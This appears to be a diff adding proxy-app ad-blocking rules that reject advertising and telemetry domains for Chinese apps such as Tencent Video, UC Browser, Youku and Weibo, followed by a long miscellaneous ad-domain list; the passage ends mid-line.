去除开屏,播放,暂停,青少年等广告。开启下面的规则播放时会有10秒左右的卡顿 +# host,pgdt.gtimg.cn,REJECT +# host,ugchsy.gtimg.com,REJECT +# host,adsmind.gdtimg.com,REJECT +# host,btrace.video.qq.com,REJECT +# host,info4.video.qq.com,REJECT +# host,info6.video.qq.com,REJECT +# host-SUFFIX,api.poll.video.qq.com,REJECT +# host,activity.video.qq.com,REJECT +# host,ios.video.mpush.qq.com,REJECT +# host,p.l.qq.com,REJECT +# host,rpt.gdt.qq.com,REJECT +# host-SUFFIX,trace.qq.com,REJECT +# host-SUFFIX,tetrack.qq.com,REJECT +# host-SUFFIX,tpns.tencent.com,REJECT +# host-SUFFIX,stat.tpns.tencent.com,REJECT +# host-SUFFIX,static-res.qq.com,REJECT +# host-SUFFIX,omgmta.qq.com,REJECT +# host-SUFFIX,omgmta1.qq.com,REJECT +# host,tux.qq.com,REJECT +# host,iacc.qq.com,REJECT +# host,p2.l.qq.com,REJECT +# host,v3.gdt.qq.com,REJECT +# host,rmonitor.qq.com,REJECT +# host,xs.gdt.qq.com,REJECT +# host,aegis.qq.com,REJECT +# host,rdelivery.qq.com,REJECT +# host,wallpaper-1258344696.file.myqcloud.com,REJECT +# host,wallpaper-test-1258344696.file.myqcloud.com,REJECT +# IP-CIDR,183.201.213.194/24,REJECT + +# > 腾讯 +host-suffix, news.ssp.qq.com, reject +host-suffix, news.l.qq.com, reject +host-suffix, activeqq.3g.qq.com, reject +host-suffix, ad.qq.com, reject +host-suffix, adping.qq.com, reject +host-suffix, adpm.app.qq.com, reject +host-suffix, adrdir.qq.com, reject +host-suffix, adsclick.qq.com, reject +host-suffix, adsense.html5.qq.com, reject +host-suffix, adsfile.qq.com, reject +host-suffix, adsgroup.qq.com, reject +host-suffix, adshmct.qq.com, reject +host-suffix, adshmmsg.qq.com, reject +host-suffix, adslvfile.qq.com, reject +host-suffix, adslvseed.qq.com, reject +host-suffix, adsolution.imtt.qq.com, reject +host-suffix, adsqqclick.qq.com, reject +host-suffix, adstextview.qq.com, reject +host-suffix, adsview.qq.com, reject +host-suffix, adsview2.qq.com, reject +host-suffix, adv.app.qq.com, reject +host-suffix, adver.qq.com, reject +host-suffix, aeventlog.beacon.qq.com, reject +host-suffix, analy.qq.com, reject +host-suffix, astrategy.beacon.qq.com, reject +host-suffix, c.gdt.qq.com, reject +host-suffix, c.gj.qq.com, reject +host-suffix, canvas.gdt.qq.com, reject +host-suffix, d.gdt.qq.com, reject +host-suffix, d3g.qq.com, reject +host-suffix, download.sj.qq.com, reject +host-suffix, dp3.qq.com, reject +host-suffix, eventlog.beacon.qq.com, reject +host-suffix, game.html5.qq.com, reject +host-suffix, ggmmqq.com, reject +host-suffix, j.wit.qq.com, reject +host-suffix, jqmt.qq.com, reject +host-suffix, jrlt.beacon.qq.com, reject +host-suffix, jsqmt.qq.com, reject +host-suffix, lives.l.qq.com, reject +host-suffix, livep.l.qq.com, reject +host-suffix, mi.gdt.qq.com, reject +host-suffix, livep.l.ott.video.qq.com, reject +host-suffix, lives.l.ott.video.qq.com, reject +host-suffix, masdk.3g.qq.com, reject +host-suffix, mfm.video.qq.com, reject +host-suffix, mini2015.qq.com, reject +host-suffix, monitor.uu.qq.com, reject +host-suffix, mqqad.cs0309.html5.qq.com, reject +host-suffix, mqqad.html5.qq.com, reject +host-suffix, mqqadr.reader.qq.com, reject +host-suffix, nc.gdt.qq.com, reject +host-suffix, news.mpush.qq.com, reject +host-suffix, news-l.play.ott.video.qq.com, reject +host-suffix, novelsns.html5.qq.com, reject +host-suffix, oth.update.mdt.qq.com, reject +host-suffix, pcbrowser.dd.qq.com, reject +host-suffix, pmir.3g.qq.com, reject +host-suffix, pvstat.html5.qq.com, reject +host-suffix, q.i.gdt.qq.com, reject +host-suffix, qqshow2-item.qq.com, reject +host-suffix, rm.gdt.qq.com, reject +host-suffix, scdown.qq.com, reject +host-suffix, setting.snswin.qq.com, reject +host-suffix, sngmta.qq.com, reject +host-suffix, strategy.beacon.qq.com, reject +host-suffix, t.gdt.qq.com, reject +host-suffix, t.sj.qq.com, reject +host-suffix, ta.qq.com, reject +host-suffix, tcss.qq.com, reject +host-suffix, tpush.html5.qq.com, reject +host-suffix, updatecenter.qq.com, reject +host-suffix, video.ureport.push.qq.com, reject +host-suffix, video.wap.mpush.qq.com, reject +host-suffix, vlive.qqvideo.tc.qq.com, reject +host-suffix, wap.mpush.qq.com, reject +host-suffix, win.gdt.qq.com, reject +host-suffix, ws.sj.qq.com, reject +host-suffix, wxsnsdy.tc.qq.com, reject +host-suffix, wxsnsdy.video.qq.com, reject +host-suffix, adsmind.tc.qq.com, reject +host-suffix, pingma.qq.com, reject +host-suffix, pingtcss.qq.com, reject +host-suffix, tajs.qq.com, reject +host-suffix, fusion.qq.com, reject +host-suffix, ios.bugly.qq.com, reject +host, safebrowsing.urlsec.qq.com, reject +host-suffix, oth.str.mdt.qq.com, reject +host-suffix, l.qq.com, reject +host, adsmind.apdcdn.tc.qq.com, reject +host, adsmind.tc.qq.com, reject +host, livep.l.t002.ottcn.com, reject +host, pgdt.ugdtimg.com, reject +host, splashqqlive.gtimg.com, reject +host, vv.video.qq.com, reject +host, wa.gtimg.com, reject +host, wxsnsdy.wxs.qq.com, reject +host, wxsmsdy.video.qq.com, reject + +# > 同花顺 +host, adm.10jqka.com.cn, reject +host, stat.10jqka.com.cn, reject + +# > 迅雷 +host, adsp.xunlei.com, reject +host, etl.xlmc.sandai.net, reject + +# > 团油 +host-keyword, img1.czb365.com, reject + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > UC浏览器 +host-keyword, m.atm.youku.com, reject +host-keyword, adp.atm.youku.com, reject +host-keyword, clickc.admaster.com, reject +host-keyword, count.atm.youku.com, reject +host-keyword, ems.youku.com, reject +host-keyword, fans.m.tmall.com, reject +host-keyword, r1.ykimg.com, reject +host-keyword, v.admaster.com, reject +host-keyword, v2.reachmax.cn, reject +host-keyword, val.atm.youku.com, reject +host-keyword, server.m.pp.cn, reject +host-keyword, puds.ucweb.com, reject +host-keyword, wgo.mmstat.com, reject +host-keyword, log.cs.pp.cn, reject +host-keyword, applog.uc.cn, reject +host-keyword, afpapi.alimama.com, reject +host-keyword, a.9game.cn, reject +host-keyword, track.uc.cn, reject +host-keyword, adtrack.ucweb.com, reject +host-keyword, utp-dmp.ucweb.com, reject +host-keyword, utp.ucweb.com, reject +host-keyword, huichuan.sm.cn, reject +host-keyword, ynuf.alipay.com, reject +host-keyword, pdds.ucweb.com, reject +host-keyword, js.union-wifi.com, reject +host-keyword, www.qmlog.cn, reject +host-keyword, cpu.baidu.com, reject +host-keyword, caclick.baidu.com, reject +host-keyword, rescn.u3.ucweb.com, reject +host-keyword, editor.sm.cn, reject +host-keyword, fc-video.cdn.bcebos.com, reject +host-keyword, vs10.bj2ct.u3.ucweb.com, reject +host, safe.ucweb.com, reject +host, px.ucweb.com, reject +host, navigis.uc.cn, reject +host, order.sm.cn, reject +host, ucdc-upaas.uc.cn, reject +host, access.open.uc.cn, reject +host, uc.ucweb.com, reject +host, emoji.uc.cn, reject +host, ssp-partner.alibaba.com, reject +host, voice-service.uc.cn, reject +host, v.uc.cn, reject +host, coral.uc.cn, reject +host, wolong-dsp.sm.cn, reject +host, cartoonapi.uc.cn, reject +host, umessage-online-zb.uc.cn, reject +host, sealine.youku.com, reject +host, api.c.uc.cn, reject +host, aid.m.taobao.com, reject +host, cms.uc.cn, reject +host, applog-perf.uc.cn, reject +host-suffix, m.atm.youku.com, reject +host-suffix, adp.atm.youku.com, reject +host-suffix, clickc.admaster.com.cn, reject +host-suffix, count.atm.youku.com, reject +host-suffix, ems.youku.com, reject +host-suffix, fans.m.tmall.com, reject +host-suffix, r1.ykimg.com, reject +host-suffix, v.admaster.com.cn, reject +host-suffix, v2.reachmax.cn, reject +host-suffix, val.atm.youku.com, reject +host-suffix, server.m.pp.cn, reject +host-suffix, puds.ucweb.com, reject +host-suffix, wgo.mmstat.com, reject +host-suffix, log.cs.pp.cn, reject +host-suffix, applog.uc.cn, reject +host-suffix, afpapi.alimama.com, reject +host-suffix, a.9game.cn, reject +host-suffix, track.uc.cn, reject +host-suffix, adtrack.ucweb.com, reject +host-suffix, utp-dmp.ucweb.com, reject +host-suffix, utp.ucweb.com, reject +host-suffix, huichuan.sm.cn, reject +host-suffix, ynuf.alipay.com, reject +host-suffix, pdds.ucweb.com, reject +host-suffix, js.union-wifi.com, reject +host-suffix, qmlog.cn, reject +host-suffix, cpu.baidu.com, reject +host-suffix, caclick.baidu.com, reject +host-suffix, rescn.u3.ucweb.com, reject +host, feedback.uc.cn, reject +host, gj.applog.uc.cn, reject +host, gj.track.uc.cn, reject +host, gjapplog.uc.cn, reject +host, gjtrack.uc.cn, reject +host, holmeshelptest.uc.cn, reject +host-suffix, ads.uc.cn, reject +host-suffix, adslot.uc.cn, reject +host-suffix, alissl.ucdl.pp.uc.cn, reject +host-suffix, api.mp.uc.cn, reject +host-suffix, api.open.uc.cn, reject +host-suffix, applog.uc.cn, reject +host-suffix, applogios.uc.cn, reject +host-suffix, bench.uc.cn, reject +host-suffix, client.tv.uc.cn, reject +host-suffix, coral-task.uc.cn, reject +host-suffix, dispatcher.upmc.uc.cn, reject +host-suffix, hcadv.video.ums.uc.cn, reject +host-suffix, hao.uc.cn, reject +host-suffix, lobmuc.cn, reject +host-suffix, open-uc.cn, reject +host-suffix, puds.test.uae.uc.cn, reject +;host-suffix, t.uc.cn, reject +host-suffix, track.uc.cn, reject +host-suffix, wmedia-track.uc.cn, reject +host-suffix, woodpecker.uc.cn, reject +host, gecko-pangle-lf.snssdk.com, reject +host, mercury-sdk.snssdk.com, reject +host, tbm.snssdk.com, reject +host, toblog.ctobsnssdk.com, reject +host, tnc3-aliec2.snssdk.com, reject + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > VariFlight +host, adv-adlog.variflight.com, reject +host, adv-ads.variflight.com, reject +host, app-ad.variflight.com, reject + +# > vivo +host, adlog.vivo.com.cn, reject +host, adreq.vivo.com.cn, reject +host, ads-marketing-vivofs.vivo.com.cn, reject +host, adsdk.vivo.com.cn, reject +host, adsstatic.vivo.com.cn, reject +host, adxlog.vivo.com.cn, reject +host, vcardsdkservice.vivo.com.cn, reject +host-keyword, stsdk.vivo.com.cn, reject +host-keyword, stsdk.vivoglobal.com, reject + +# > VIVO商城 +host-keyword, paradisestatic.vivo.com.cn, reject + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > 万能钥匙专业版 +# 感谢【All in 梭哈】分享 +host-suffix, mi.gdt.qq.com, reject +# 去除导航栏免费短剧 +host, taichi.51y5.net, reject + +# > WiFi万能钥匙 +host-keyword, app.51y5.net, reject +host-keyword, apiinit.amap.com, reject +host-keyword, c.51y5.net, reject +host-keyword, msg.push.51y5.net, reject +host-keyword, a.wkanx.com, reject +host-keyword, c.wkanx.com, reject +host-keyword, c1.wkanx.com, reject +host-keyword, ap.51y5.net, reject +host-keyword, dc.51y5.net, reject +host-keyword, push-dc.51y5.net, reject +host-keyword, news-log.51y5.net, reject +host-keyword, login.push.51y5.net, reject +host-keyword, news.51y5.net, reject +host-keyword, cds.51y5.net, reject +host-keyword, insurance.lianwifi.com, reject +host-keyword, config.51y5.net, reject +host-keyword, static.wkanx.com, reject +host-keyword, config.y5en.com, reject + +# > 微博 +host-suffix, fastimage.uve.weibo.com, reject +host-suffix, adimg.vue.weibo.com, reject +host-suffix, zymo.mps.weibo.com, reject +host-suffix, weibomingzi.com, reject +host-suffix, sdkapp.uve.weibo.com, reject +host-suffix, promote.biz.weibo.cn, reject +host-suffix, gw5.push.mcp.weibo.cn, reject +host-suffix, gw6.push.mcp.weibo.cn, reject +host-suffix, game.weibo.cn, reject +host-suffix, adimg.uve.weibo.com, reject +host-suffix, game.weibo.com, reject +host-suffix, ads.viber.com, reject +host-suffix, ads-d.viber.com, reject +host-suffix, ads.aws.viber.com, reject +host-suffix, alitui.weibo.com, reject +host-suffix, dp.im.weibo.cn, reject +host-suffix, biz.weibo.com.cn, reject +host-suffix, biz.weibo.com, reject +host-suffix, click.uve.weibo.com, reject +host-suffix, wax.weibo.com, reject +host-suffix, wbapp.uve.weibo.com, reject +host-suffix, widget.weibo.com, reject +host-suffix, dsp.edm.weibo.cn, reject +host-suffix, alitui.weibo.com.cn, reject +host-suffix, tui.weibo.com, reject +host-suffix, wax.weibo.com.cn, reject +host-suffix, ad.weibo.com, reject +# 微博开屏广告预加载 +host, bootpreload.uve.weibo.com, reject + +# > 网易 +host-suffix, dsp.youdao.com, reject +host-suffix, union.youdao.com, reject +host, ad.bn.netease.com, reject +host, ad.yixin.im, reject +host, admusicpic.music.126.net, reject +host, g1.163.com, reject +host, gorgon.youdao.com, reject +host, iad.g.163.com, reject +host, iadmat.nosdn.127.net, reject +host, iadmusicmat.music.126.net, reject +host, iadmusicmatvideo.music.126.net, reject +host, impservice.dictapp.youdao.com, reject +host, impservice.youdao.com, reject +host, n.3g.163.com, reject +host, nex.163.com, reject +host, yt-adp.nosdn.127.net, reject +host, yt-adp.ws.126.net, reject + +# > 网易云 +# 此条会导致"淘宝->成就中心->淘宝人生"进不去 +;host-keyword, ossgw.alicdn.com, reject + +# > 微软 +host-suffix, ads.msn.com, reject +host-suffix, ads1.msn.com, reject +host-suffix, ads2.msn.com, reject +host-suffix, bingads.microsoft.com, reject +host-suffix, rads.msn.com, reject +host, mobileads.msn.com, reject + +# > 歪麦去开屏 +host-suffix, ad.gameley.com, reject +host-suffix, zlsdk.1rtb.net, reject + +# > 威锋 广告联盟已包含 + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 讯飞输入法 +host-keyword, ossp.voicecloud.cn, reject +host-keyword, bj.imp.voiceads.cn, reject +host-keyword, m.panda.voiceads.cn, reject +host-keyword, iflyad.bj.openstorage.cn, reject + +# > 喜马拉雅 +host, adbehavior.ximalaya.com, reject +host, adwbs.ximalaya.com, reject +host-suffix, ad.test.ximalaya.com, reject +host-suffix, adse.test.ximalaya.com, reject +host-suffix, adweb.test.ximalaya.com, reject +host-suffix, adweb.ximalaya.com, reject +host-suffix, linkeye.ximalaya.com, reject +host-suffix, location.ximalaya.com, reject +host-suffix, xdcs-collector.ximalaya.com, reject +host-suffix, ad.ximalaya.com, reject +host-suffix, adse.ximalaya.com, reject +host-suffix, adse.wsa.ximalaya.com, reject +host-suffix, adbehavior.wsa.ximalaya.com, reject +host-suffix, adsebs.ximalaya.com, reject +host-suffix, adbs.ximalaya.com, reject + +# > 小红书 +host, ads-img-qc.xhscdn.com, reject +host, ads-video-al.xhscdn.com, reject +host, ads-video-qc.xhscdn.com, reject +host, t-ads.xiaohongshu.com, reject + +# > 小米 +host, data.mistat.xiaomi.com, reject +host, tracking.intl.miui.com, reject + +# > 小小影视 +host, 39d83s.com, reject + +# > 小利生活 +host-keyword, mpos-pic.helipay.com, reject + +# > 小爱音箱 +host, mistat.xiaomi.com, reject + +# > 晓晓优选 +host-SUFFIX, api-htp.beizi.biz, REJECT +host-suffix, yfanads.com, reject +host-suffix, 1rtb.net, reject +host-suffix, adwangmai.com, reject + +# > 新浪 +host-suffix, beacon.sina.com.cn, reject +host, u1.img.mobile.sina.cn, reject +host, sax.sina.com.cn, reject +host, saxs.sina.com.cn, reject +host, saxn.sina.com.cn, reject + +# > 雪球(可以去掉倒计时,但是误杀很多图片,默认关闭) +;host-keyword, xqimg.imedao.com, reject + +# > 向日葵 见重写 + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > 云闪付 +host, ads.95516.com, reject +host, tysdk.95516.com, reject +host, cm-10-138.getui.com, reject +host, sdk.open.talk.getui.net, reject +host, sdk-conf.getui.com, reject +host, switch.cup.com.cn, reject +host, ads.cup.com.cn, reject + +# > 雅虎 +host-suffix, adserver.yahoo.com, reject +host-suffix, adspecs.yahoo.com, reject +host-suffix, advertising.yahoo.com, reject +host-suffix, gemini.yahoo.com, reject +host, admarketing.yahoo.net, reject +host, ads.auctions.yahoo.com, reject +host, ads.finance.yahoo.com, reject +host, ads.yahoo.com, reject +host, ads.yahoo.de, reject + +# > 优酷 +#host-suffix, sm.cn, reject +host-suffix, acz.youku.com,REJECT +host-suffix, adx-core.youku.com,REJECT +host-suffix, adx-open-service.youku.com,REJECT +host-suffix, rhdc-acs.youku.com,REJECT +host-suffix, partner.uc.cn,REJECT +host-suffix, ubixioe.com,REJECT +host-suffix, uczzd.cn,REJECT +host-suffix, ranfenghd.com,REJECT +host-suffix, zconfig.alibabausercontent.com,REJECT +host-suffix, bgg.baidu.com,REJECT +host-suffix, gdt.qq.com,REJECT +host-suffix, sdk.e.qq.com,REJECT +host-suffix, mazu.m.qq.com,REJECT +host-suffix, snowflake.qq.com,REJECT +host-suffix, cad.youku.com,REJECT +host-suffix, sjarvis.taobao.com,REJECT +host, adsmind.ugdtimg.com, reject +host, amdc.m.youku.com, reject +host, apiv4-iyes.youku.com, reject +host, httpdns.alicdn.com, reject +host, iyes.youku.com, reject +host, m-vali.cp31.ott.cibntv.net, reject +host, mc.atm.youku.com, reject +host, vali-g1.cp31.ott.cibntv.net, reject +host, vali-ugc.cp31.ott.cibntv.net, reject +host, yk-ssp.ad.youku.com, reject +host, ykad-data.youku.com, reject +host, ad.mobile.youku.com, reject +host, pl.cp31.ott.cibntv.net, reject +host-suffix, atm.youku.com, reject +host-suffix, actives.youku.com, reject +host-suffix, ad.api.3g.tudou.com, reject +host-suffix, ad.api.3g.youku.com, reject +host-suffix, ad.api.mobile.youku.com, reject +host-suffix, a-dxk.play.api.3g.youku.com, reject +host-suffix, b.smartvideo.youku.com, reject +host-suffix, c.yes.youku.com, reject +host-suffix, das.api.youku.com, reject +host-suffix, das.mobile.youku.com, reject +host-suffix, dev-push.m.youku.com, reject +host-suffix, dl.g.youku.com, reject +host-suffix, dmapp.youku.com, reject +host-suffix, gamex.mobile.youku.com, reject +host-suffix, hudong.pl.youku.com, reject +host-suffix, huodong.pl.youku.com, reject +host-suffix, huodong.vip.youku.com, reject +host-suffix, hz.youku.com, reject +host-suffix, l.ykimg.com, reject +host-suffix, lstat.youku.com, reject +host-suffix, m.yes.youku.com, reject +host-suffix, mobilemsg.youku.com, reject +host-suffix, msg.youku.com, reject +host-suffix, myes.youku.com, reject +host-suffix, p.l.youku.com, reject +host-suffix, passport-log.youku.com, reject +host-suffix, p-log.ykimg.com, reject +host-suffix, push.m.youku.com, reject +host-suffix, r.l.youku.com, reject +host-suffix, s.p.youku.com, reject +host-suffix, sdk.api.gamex.mobile.youku.com, reject +host-suffix, sdk.m.youku.com, reject +host-suffix, stat.youku.com, reject +host-suffix, store.tv.api.3g.youku.com, reject +host-suffix, store.xl.api.3g.youku.com, reject +host-suffix, tdrec.youku.com, reject +host-suffix, test.ott.youku.com, reject +host-suffix, urchin.lstat.youku.com, reject +host-suffix, v.l.youku.com, reject +host-suffix, val.api.youku.com, reject +host-suffix, wan.youku.com, reject +host-suffix, ykatr.youku.com, reject +host-suffix, ykrec.youku.com, reject +IP-CIDR, 223.111.27.248/32, REJECT + +# > 易车 +host, adx.yiche.com, reject +host, log.ycapp.yiche.com, reject + +# > 央视 +host, galaxy.bjcathay.com, reject +host, mdrecv.app.cntvwb.cn, reject +host, sdapprecv.app.cntvwb.cn, reject +host, vdapprecv.app.cntvwb.cn, reject +host-suffix, a.cctv.com, reject +host-suffix, ad.cctv.com, reject +host-suffix, ad.cntv.cn, reject +host-suffix, adguanggao.eee114.com, reject +host-suffix, afp.qiyi.com, reject +host-suffix, cctv.adsunion.com, reject +host-suffix, d.cntv.cn, reject +host-suffix, de.pandora.xiaomi.com, reject +host-suffix, mishop.pandora.xiaomi.com, reject +host-suffix, cws-cctv.conviva.com, reject +host-suffix, mdrecv.app.cntvwb.cn, reject +host-suffix, sdapprecv.app.cntvwb.cn, reject +host-suffix, vdapprecv.app.cntvwb.cn, reject + +# > 一刻相册 广告联盟已包含 + + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 知乎 +USER-AGENT,AVOS*, reject +host, appcloud.zhihu.com, reject +host, appcloud2.in.zhihu.com, reject +host, mqtt.zhihu.com, reject +host, sugar.zhihu.com, reject +host, crash2.zhihu.com, reject +host, 118.89.204.198, reject +IP-CIDR, 118.89.204.198/32, reject +IP6-CIDR,2402:4e00:1200:ed00:0:9089:6dac:96b6/128, reject + +# > 中关村 +host, apppv.zol.com.cn, reject +host, pvnapp.zol.com.cn, reject + +# > 中国移动 +IP-CIDR, 120.240.95.37/32, reject + +# > 中国联通 +host-suffix, m1.ad.10010.com, reject + +# > 中国电信 +host, ad.21cn.com, reject +host, ad.k.21cn.com, reject +host, admarket.21cn.com, reject +host, adshows.21cn.com, reject +IP-CIDR, 122.229.8.47/32, reject +IP-CIDR, 122.229.29.89/32, reject + +# > 中信银行 +;host-suffix, sis.jpush.io, reject +;host-suffix, s.jpush.cn, reject +;host-suffix, jpush.cn, reject +;host-suffix, im64.jpush.cn, reject +;host-suffix, im.jpush.cn, reject +;host-suffix, jpush.html5.qq.com, reject + +# > 中华万年历广告 +host-keyword, lkme.cc, reject +host-keyword, api.freed.so, reject +host-keyword, log-dmp.suishenyun.cn, reject +host-keyword, client-dmp.suishenyun.cn, reject +host-keyword, pc.suishenyun.net, reject +host-keyword, v0-client-lz.rili.cn, reject + +# > 招钱进宝 广告联盟已包含 + +# > 真不卡 +host-suffix, ttayy.cn, reject +host-suffix, zhengxiaoliu.top, reject + +# > 字节跳动 +host, ad.zijieapi.com, reject +host, applog.zijieapi.com, reject +host-suffix, -normal-lq.zijieapi.com, reject + + +# >>>>>>>>>>>>>>> ✅ 其他广告 ✅ <<<<<<<<<<<<<< +host-keyword, 112wan, reject +host-keyword, 789htbet, reject +host-suffix, XiaoQiang, reject +host-keyword, adform, reject +host-keyword, asewlfjqwlflkew, reject +host-keyword, bngpt, reject +host-keyword, bongacash, reject +host-keyword, brushshopy, reject +;host-keyword, dat8, reject +host-keyword, dfkj8, reject +host-keyword, dlads, reject +host-keyword, dtscout, reject +host-keyword, e2wysbacctt1, reject +host-keyword, exosrv, reject +host-keyword, greenplasticdua, reject +host-keyword, haowanyou, reject +host-keyword, highwebmedia, reject +host-keyword, histats, reject +host-keyword, in-page-push, reject +;host-keyword, jads, reject +host-keyword, juruigj, reject +host-keyword, lieyou, reject +host-keyword, mathtag, reject +host-keyword, mdapp09, reject +host-keyword, mifengv, reject +host-keyword, mmiyue, reject +host-keyword, o333o, reject +host-keyword, onenews, reject +host-keyword, pagespeed-mod, reject +host-keyword, stunninglover, reject +host-keyword, toateeli, reject +host-keyword, trwl1, reject +host-keyword, vidoza, reject +host-keyword, xn--2qux23c9ziyrq, reject +host-keyword, xxshuyuan, reject +host-suffix, mg.5pk, reject +host-suffix, msg.71.am, reject +host-suffix, msga.71.am, reject +host-suffix, qosp.msg.71.am, reject +host-suffix, cloudad.asia, reject +host-suffix, optimix.asia, reject +host-suffix, pixels.asia, reject +host-suffix, sync-dsp.ad-m.asia, reject +host-suffix, bshare.optimix.asia, reject +host-suffix, bx.optimix.asia, reject +host-suffix, bx01.optimix.asia, reject +host-suffix, c03.optimix.asia, reject +host-suffix, s03.optimix.asia, reject +host-suffix, snap.snapmobile.asia, reject +host-suffix, ibanners.empoweredcomms.com.au, reject +host-suffix, storewidget.pcauthority.com.au, reject +host-suffix, widgets.realestate.com.au, reject +host-suffix, ad.sensismediasmart.com.au, reject +host-suffix, widget.shopstyle.com.au, reject +host-suffix, widget.solarquotes.com.au, reject +host-suffix, partners.sportingbet.com.au, reject +host-suffix, medrx.telstra.com.au, reject +host-suffix, show.suning.beer, reject +host-suffix, 38330.bet, reject +host-suffix, 39330.bet, reject +host-suffix, hg417.bet, reject +host-suffix, aishang.bid, reject +host-suffix, akxsrsdbursfpx.bid, reject +host-suffix, aqqgli3vle.bid, reject +host-suffix, avualrhg9p.bid, reject +host-suffix, c0i8h8ac7e.bid, reject +host-suffix, esrpxyahzna.bid, reject +host-suffix, fge9vbrzwt.bid, reject +host-suffix, hpqxznpb.bid, reject +host-suffix, mdpjnppsbjv.bid, reject +host-suffix, ny7f6goy.bid, reject +host-suffix, vcfs6ip5h6.bid, reject +host-suffix, wuqdebjfhjas.bid, reject +host-suffix, sync-eu.exe.bid, reject +host-suffix, go.gotourls.bid, reject +host-suffix, chuantu.biz, reject +host-suffix, trafficfactory.biz, reject +host-suffix, udata.mixmarket.biz, reject +host-suffix, ad.openmultimedia.biz, reject +host-suffix, media.trafficfactory.biz, reject +host-suffix, rpc-php.trafficfactory.biz, reject +host-suffix, 1133.cc, reject +host-suffix, 168ad.cc, reject +host-suffix, 1l1.cc, reject +host-suffix, 22lm.cc, reject +host-suffix, 272829.cc, reject +host-suffix, 33lm.cc, reject +host-suffix, 361315.cc, reject +host-suffix, 7gg.cc, reject +host-suffix, 8184.cc, reject +host-suffix, 86.cc, reject +host-suffix, 911.cc, reject +host-suffix, 9tn.cc, reject +host-suffix, aafanke.cc, reject +host-suffix, aiwen.cc, reject +host-suffix, baoyatu.cc, reject +host-suffix, bartender.cc, reject +host-suffix, beyondcompare.cc, reject +host-suffix, cpcv.cc, reject +host-suffix, cpms.cc, reject +host-suffix, cpva.cc, reject +host-suffix, csad.cc, reject +host-suffix, cy123.cc, reject +host-suffix, cyad.cc, reject +host-suffix, daima123.cc, reject +host-suffix, girlcc.cc, reject +host-suffix, guitarpro.cc, reject +host-suffix, hivedata.cc, reject +host-suffix, imindmap.cc, reject +host-suffix, jiuku.cc, reject +host-suffix, jp88.cc, reject +host-suffix, jspg.cc, reject +host-suffix, keyshot.cc, reject +host-suffix, mindmanager.cc, reject +host-suffix, mindmapper.cc, reject +host-suffix, nicelabel.cc, reject +host-suffix, ntfsformac.cc, reject +host-suffix, p555.cc, reject +host-suffix, pangu.cc, reject +host-suffix, pasco.cc, reject +host-suffix, pdfexpert.cc, reject +host-suffix, s9w.cc, reject +host-suffix, scriptcc.cc, reject +host-suffix, tcjy66.cc, reject +host-suffix, ttlm.cc, reject +host-suffix, ujian.cc, reject +host-suffix, ulink.cc, reject +host-suffix, xinju.cc, reject +host-suffix, xstar.cc, reject +host-suffix, xxad.cc, reject +host-suffix, yhzm.cc, reject +host-suffix, zhongzicili.cc, reject +host-suffix, dm.388g.cc, reject +host-suffix, tsjdgzm.m.3dllc.cc, reject +host-suffix, dp.559.cc, reject +host-suffix, su.8881919.cc, reject +host-suffix, g.ad8.cc, reject +host-suffix, j.biquge520.cc, reject +host-suffix, m.biquge5200.cc, reject +host-suffix, kiss.blockplus.cc, reject +host-suffix, a.clipconverter.cc, reject +host-suffix, g.daman.cc, reject +host-suffix, db1.fuz.cc, reject +host-suffix, db2.fuz.cc, reject +host-suffix, uc.haoyunyuan.cc, reject +host-suffix, ad.hefei.cc, reject +host-suffix, js.soduso.cc, reject +host-suffix, ads.superad.cc, reject +host-suffix, h5.taihao.cc, reject +host-suffix, bb.tuku.cc, reject +host-suffix, api.ujian.cc, reject +host-suffix, l.ujian.cc, reject +host-suffix, t.ujian.cc, reject +host-suffix, v1.ujian.cc, reject +host-suffix, c1.ulink.cc, reject +host-suffix, app.uu.cc, reject +host-suffix, dl.uu.cc, reject +host-suffix, sdklog.uu.cc, reject +host-suffix, sdkpay.uu.cc, reject +host-suffix, ledou.dl.uu.cc, reject +host-suffix, in1.feed.uu.cc, reject +host-suffix, in1.secure.uu.cc, reject +host-suffix, game.subway.uu.cc, reject +host-suffix, ad.wretch.cc, reject +host-suffix, ai.xinju.cc, reject +host-suffix, j.ytbt.cc, reject +host-suffix, c.zgnm.cc, reject +host-suffix, 20150930.cf, reject +host-suffix, 2016bobo.cf, reject +host-suffix, ad.search.ch, reject +host-suffix, cpv.channelray, reject +host-suffix, xn--2qux23c9ziyrq.club, reject +host-suffix, e.zhuyuanp.club, reject +host-suffix, m.zhuyuanp.club, reject +host-suffix, 1017.cn, reject +host-suffix, 107iwh.cn, reject +host-suffix, 189zj.cn, reject +host-suffix, 1kmb.cn, reject +host-suffix, 1lib.cn, reject +host-suffix, 1tlm.cn, reject +host-suffix, 2144.cn, reject +host-suffix, 2345.cn, reject +host-suffix, 268mob.cn, reject +host-suffix, 339.cn, reject +host-suffix, 35baba.cn, reject +host-suffix, 37wan.cn, reject +host-suffix, 4336wang.cn, reject +host-suffix, 517m.cn, reject +host-suffix, 51mld.cn, reject +host-suffix, 51mypc.cn, reject +host-suffix, 51zhanzhuang.cn, reject +host-suffix, 52lubo.cn, reject +host-suffix, 58mingri.cn, reject +host-suffix, 58mingtian.cn, reject +host-suffix, 6615338.cn, reject +host-suffix, 7891655.cn, reject +host-suffix, 7wen.cn, reject +host-suffix, 81c.cn, reject +host-suffix, 88818122.cn, reject +host-suffix, 88shu.cn, reject +host-suffix, 8ox.cn, reject +host-suffix, 9dtiny.cn, reject +host-suffix, 9s6q.cn, reject +host-suffix, acasys88.cn, reject +host-suffix, ad-plus.cn, reject +host-suffix, adccoo.cn, reject +host-suffix, adcome.cn, reject +host-suffix, adfuture.cn, reject +host-suffix, adlive.cn, reject +host-suffix, admon.cn, reject +host-suffix, adpro.cn, reject +host-suffix, adpush.cn, reject +host-suffix, adreal.cn, reject +host-suffix, aduu.cn, reject +host-suffix, adview.cn, reject +host-suffix, advmob.cn, reject +host-suffix, agrant.cn, reject +host-suffix, aihaoduo.cn, reject +host-suffix, akrwi.cn, reject +host-suffix, aliqqjd.cn, reject +host-suffix, alistatic.cn, reject +host-suffix, analysys.cn, reject +host-suffix, appdriver.cn, 